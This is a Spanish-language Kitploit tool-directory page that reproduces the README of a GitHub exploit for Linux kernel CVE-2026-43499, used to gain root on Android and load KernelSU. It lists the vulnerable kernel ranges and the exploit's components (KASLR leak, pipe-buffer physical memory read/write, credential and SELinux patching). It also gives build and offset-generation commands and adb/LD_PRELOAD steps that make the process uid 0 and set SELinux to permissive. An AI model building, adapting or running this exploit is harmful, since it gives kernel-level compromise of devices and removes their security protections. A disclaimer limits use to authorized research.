Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-43499-root-KernelSU — Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integra KernelSU embebido. Modo jailbreak CVE-2026-43499+KernelSU | Kitploit
Herramientas/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
Seguridad AndroidEscalada de PrivilegiosExplotaciónDesarrollo de PayloadsExplotación de Binarios
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integra KernelSU embebido. Modo jailbreak CVE-2026-43499+KernelSU

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
183hace 25 díasAún no revisado

CVE-2026-43499-root-KernelSU

Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, con KernelSU integrado. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Admite la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img. Adaptación de escalada de privilegios local basada en una vulnerabilidad de kernel, que integra KernelSU embebido. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Admite la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img, u otras vías.

Proyectos de referencia:

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] La explotación no autorizada de vulnerabilidades para dañar, comprometer u obtener acceso a sistemas informáticos está prohibida por la ley. Este proyecto se proporciona estrictamente con fines de investigación, educativos y de aprendizaje, y solo puede utilizarse en sistemas y entornos para los que se haya concedido autorización previa. Cualquier uso de este proyecto se realiza bajo el propio riesgo del usuario. Los autores y colaboradores no asumen ninguna responsabilidad por el mal uso de este proyecto ni por los daños, pérdidas o consecuencias legales derivados de su uso.

Aviso legal: el uso no autorizado de vulnerabilidades para dañar, invadir o acceder sin autorización a sistemas informáticos puede infringir las leyes y regulaciones aplicables. Este proyecto se limita a sistemas y entornos con autorización legal para fines de investigación, aprendizaje y pruebas de seguridad. Cualquier pérdida directa o indirecta, responsabilidad legal u otras consecuencias derivadas del uso, abuso o modificación de este proyecto serán asumidas por el propio usuario; los autores y colaboradores no asumen ninguna responsabilidad.

Alcance del impacto

Cuando su versión de kernel sea {Linux Kernel}, se encuentra dentro del alcance de esta vulnerabilidad

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

Estado actual

TargetEstado
rodin (por defecto)Verificado
Otros src/targets/*Referencia

Estructura de directorios

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # binario de userspace de KernelSU incrustado en preload.so
├── tools/
│   ├── generate_target.py       # entrada unificada de generación de target.h de este repositorio
│   └── vendor/                  # scripts auxiliares de generación originales sincronizados desde el directorio padre
└── src/
    ├── main.c                   # flujo principal del exploit
    ├── preload.c                # constructor LD_PRELOAD + escritura/inicio de ksud
    ├── root.c                   # parche de cred/seccomp/SELinux/root
    ├── slide.c                  # fuga de KASLR slide de pselect
    ├── fops.c                   # ruta pselect/FOPS
    ├── pipe.c                   # primitiva de R/W física de pipe-buffer
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # helpers de KernelSnitch
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Compilación

Dependencias

  • Host Linux
  • Android NDK
    • Ruta por defecto: ~/android-ndk-r29
    • O configurar: ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Compilación

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Salida:

root@kitploit:~
build/<target>/bin/preload.so

Ver targets disponibles

root@kitploit:~
make list-projects

Generar target.h

Este repositorio ya incluye un script unificado de generación de targets:

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py es el script de entrada. Hace referencia y encapsula todos los flujos de generación de targets del directorio padre, y finalmente produce un src/targets/<project>/target.h completo adaptado al código fuente de este repositorio.

El script no valida de forma obligatoria CONFIG_DEBUG_INFO_BTF=y en IKCONFIG. Si los desplazamientos de campos de estructura o el diseño percpu de entry_task no se pueden verificar, imprimirá una advertencia y continuará con la generación.

Si la imagen no tiene ningún BTF utilizable, por ejemplo cuando aparece:

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

El generador entrará en el modo fallback sin BTF:

  • Sigue recuperando los desplazamientos de símbolos de funciones/objetos globales de kallsyms en el boot.img actual;
  • Las macros de campos de estructura/layout que no se pueden recuperar de BTF heredarán el target de plantilla, siendo rodin la plantilla predeterminada;
  • Se escribirá una advertencia en la parte superior del header generado, indicando without BTF y la plantilla utilizada;
  • Este header garantiza que, en la medida de lo posible, sea compilable, pero su fiabilidad en tiempo de ejecución debe verificarse en un dispositivo real.

Se puede especificar una plantilla de fallback:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# o
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Generación con boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

Se escribe por defecto en:

root@kitploit:~
src/targets/<project>/target.h

También se puede invocar el script directamente:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json debe contener información de direcciones físicas, por ejemplo:

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Detectar el profile desde un dispositivo ADB con root

Generar solo el profile:

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Detectar el profile y generar el target inmediatamente:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Generación con (xbl_config.img / vendor_boot.img) + boot.img

El script también expone las otras entradas admitidas por el generador del directorio padre:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Ejemplos
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

La salida exitosa tiene la siguiente forma:

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin conserva por defecto el valor verificado en hardware real:

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Si es necesario sobrescribirlo:

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Añadir un nuevo target

Se recomienda generarlo a partir de la boot image y el profile coincidentes:

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Un target header completo incluirá:

  • constantes de direct map / perfil físico
  • desplazamientos de objetos de KASLR slide
  • desplazamientos de task / cred / SELinux
  • desplazamientos de pipe / fops / configfs
  • valores de layout de pselect, por ejemplo PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ y los valores de ajuste de KernelSnitch

Ejecución

El código fuente actual ya tiene valores predeterminados integrados; para el funcionamiento normal solo es necesario configurar LD_PRELOAD y ejecutar cualquier programa (se recomienda toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Parámetros de ejecución predeterminados

La configuración predeterminada actual es la siguiente:

El comando ksud que se ejecuta realmente por defecto es:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Estas variables de entorno aún se pueden sobrescribir en tiempo de ejecución, por ejemplo:

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Reutilizar el ksud ya escrito:

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Limpieza

root@kitploit:~
make clean

make clean conserva build/embed/ksud, porque src/ksud_blob.S lo incrusta de la siguiente manera:

root@kitploit:~
.incbin "build/embed/ksud"

Si una limpieza manual provoca la pérdida de build/embed/ksud, se puede restaurar con:

root@kitploit:~
git checkout -- build/embed/ksud

Preguntas frecuentes

.incbin "build/embed/ksud" no encontrado

Restaura el payload integrado y vuelve a compilar:

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

La ruta FOPS devuelve success=0

rodin espera utilizar el layout pselect legacy/simple:

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Si el estado del dispositivo se ha contaminado por intentos fallidos, reinicia y vuelve a intentar:

root@kitploit:~
adb reboot

F_SETPIPE_SZ devuelve EPERM

Por lo general es un problema de estado causado por intentos fallidos/residuales; reiniciar es la forma más rápida de limpiarlo:

root@kitploit:~
adb reboot

ksud se inicia pero /proc/modules no contiene KernelSU

Consulta los registros (logs):

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

Si es necesario, ejecútalo manualmente en una shell root:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Licencia

GPL-3.0. Consulta LICENSE.

Descargar herramienta
ConfiguraciónValor predeterminadoDescripción
KSUD_LATE_LOAD1Ejecuta ksud late-load
KSUD_ALLOW_SHELL1Pasa --allow-shell
KSUD_PACKAGEme.weishu.kernelsuNombre del paquete del gestor pasado a ksud (parece no tener efecto)
KSUD_DST/data/local/tmp/ksudRuta de escritura del ksud integrado
KSUD_SKIP_WRITE0Escribe el ksud integrado por defecto
KSUD_DEFER_TO_PARENT1Inicia ksud desde la ruta del proceso padre/actual ya parcheado
ROOT_PATCH_SELF1Parchea el proceso actual para que sea uid 0
DISABLE_SELINUX1Al aplicar el parche root, cambia SELinux enforcing a permissive
ROOT_EXIT_SLEEPunset / 0No hace sleep adicional antes de regresar